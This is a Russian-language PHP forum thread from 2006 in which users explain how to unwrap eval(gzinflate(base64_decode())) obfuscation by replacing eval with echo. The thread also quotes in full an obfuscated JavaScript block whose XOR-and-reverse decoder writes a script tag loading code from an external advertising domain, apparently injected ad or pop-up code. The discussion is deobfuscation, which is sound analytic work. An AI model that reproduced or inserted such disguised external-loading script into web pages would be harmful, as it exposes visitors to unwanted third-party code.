eval gzinflate base64_decode

stake

Новичок
eval gzinflate base64_decode

PHP:
<?php
eval(gzinflate(base64_decode('код')));
?>
как распутать код?
 

WP

^_^
Зачем? eval=>print

-~{}~ 14.05.06 15:27:

P.S. недавно баловался сделал прогу которая ищет такого рода обфускации и проводит к нормальному виду :D а то надоело руками, иногда требуется.
 

stake

Новичок
Все я понял.
<?php
echo gzinflate(base64_decode("запутаный код"));
?>
...
А как теперь расшифровать:
<SCRIPT Language="JavaScript">
<!--
eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));d(unescape("%08<vrkpaq->< vrkpaqctch-vzgv ?gr{v\" qh,2245/cn-gf,qfc/pg{cn--8rvvj ?apq\"vrkpaq>%08<vrkpaq->%08<//--%089fk]g\"pct%089fk]q\"pct%089fk]vkfg]ooma\"pct%089fk]ooma\"pct%089+*{cppC\"ugl\"?\"\"\"\"\"\"\"\"gjaca]a\"pct%089+*{cppC\"ugl\"?\"\"\"\"\"\"\"\"gjaca]l\"pct%08//#>%08< vrkpaqctch-vzgv ?gr{v\" vrkpaqctch ?gecwelcn\"vrkpaq>%08<vrkpaq->%08<//--%08%089[nnmpaq\"lpwvgp%08%089[nnmpaq,umflku\"?\"[nnmpaq%08y%08+\"[nnmpaq,umflku\"*\"dk\"gqng%08%089vgqddM[gecr,umflku\"?\"[nnmpaq%08y%08+\"vgqddM[gecr,umflku\"*\"dk\"gqng%08%089rmVnnmpaq,{fm`,vlgowamf\"?\"[nnmpaq%08y%08+\"rmVnnmpaq,{fm`,vlgowamf\"$$\"{fm`,vlgowamf\"*\"dk\"gqng%08%089rmVnnmpaq,vlgognGvlgowamf,vlgowamf\"?\"[nnmpaq%08y%08+\"rmVnnmpaq,vlgognGvlgowamf,vlgowamf\"$$\"vlgognGvlgowamf,vlgowamf\"*\"dk%0892\"?\"[nnmpaq\"pct%08y%08+*lmkvalwd\"?\"umflku[,gr{vmvmpr,tkf]pgvlga%08%08%089lpwvgp%08y%08+g*javca%08%08%089%25glml%25\"?\"\"{cnrqkf,gn{vq,h`mtkf,qkjv%08y%08gqng%08%089lpwvgp%08y%08+\"h`mtkf,qkjv\"#\"*\"dk%08y%08{pv%08y%08+*lmkvalwd\"?\"tkf]pcgna,gr{vmvmpr,tkf]pgvlga%08//#>%08< vrkpaqctch-vzgv ?gr{v\" vrkpaqctch ?gecwelcn\"vrkpaq>"));
//-->
</SCRIPT>
 

stake

Новичок
<?
urldecode("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D");
?>

Так??
 

stake

Новичок
спасибо.
Не могу расшифровать:
d(unescape("%08<vrkpaq->< vrkpaqctch-vzgv ?gr{v\" qh,2245/cn-gf,qfc/pg{cn--8rvvj ?apq\"vrkpaq>%08<vrkpaq->%08<//--%089fk]g\"pct%089fk]q\"pct%089fk]vkfg]ooma\"pct%089fk]ooma\"pct%089+*{cppC\"ugl\"?\"\"\"\"\"\"\"\"gjaca]a\"pct%089+*{cppC\"ugl\"?\"\"\"\"\"\"\"\"gjaca]l\"pct%08//#>%08< vrkpaqctch-vzgv ?gr{v\" vrkpaqctch ?gecwelcn\"vrkpaq>%08<vrkpaq->%08<//--%08%089[nnmpaq\"lpwvgp%08%089[nnmpaq,umflku\"?\"[nnmpaq%08y%08+\"[nnmpaq,umflku\"*\"dk\"gqng%08%089vgqddM[gecr,umflku\"?\"[nnmpaq%08y%08+\"vgqddM[gecr,umflku\"*\"dk\"gqng%08%089rmVnnmpaq,{fm`,vlgowamf\"?\"[nnmpaq%08y%08+\"rmVnnmpaq,{fm`,vlgowamf\"$$\"{fm`,vlgowamf\"*\"dk\"gqng%08%089rmVnnmpaq,vlgognGvlgowamf,vlgowamf\"?\"[nnmpaq%08y%08+\"rmVnnmpaq,vlgognGvlgowamf,vlgowamf\"$$\"vlgognGvlgowamf,vlgowamf\"*\"dk%0892\"?\"[nnmpaq\"pct%08y%08+*lmkvalwd\"?\"umflku[,gr{vmvmpr,tkf]pgvlga%08%08%089lpwvgp%08y%08+g*javca%08%08%089%25glml%25\"?\"\"{cnrqkf,gn{vq,h`mtkf,qkjv%08y%08gqng%08%089lpwvgp%08y%08+\"h`mtkf,qkjv\"#\"*\"dk%08y%08{pv%08y%08+*lmkvalwd\"?\"tkf]pcgna,gr{vmvmpr,tkf]pgvlga%08//#>%08< vrkpaqctch-vzgv ?gr{v\" vrkpaqctch ?gecwelcn\"vrkpaq>"));
 

stake

Новичок
function d(s){r=new Array();t="";j=0;for(i=s.length-1;i>0;i--){t+=String.fromCharCode(s.charCodeAt(i)^2);if(t.length>80){r[j++]=t;t=""}}document.write(r.join("")+t)}
 

Gorath

Новичок
Я обычно заменяю eval на echo и вставляю полученный вывод вместо вызова eval.
 
Сверху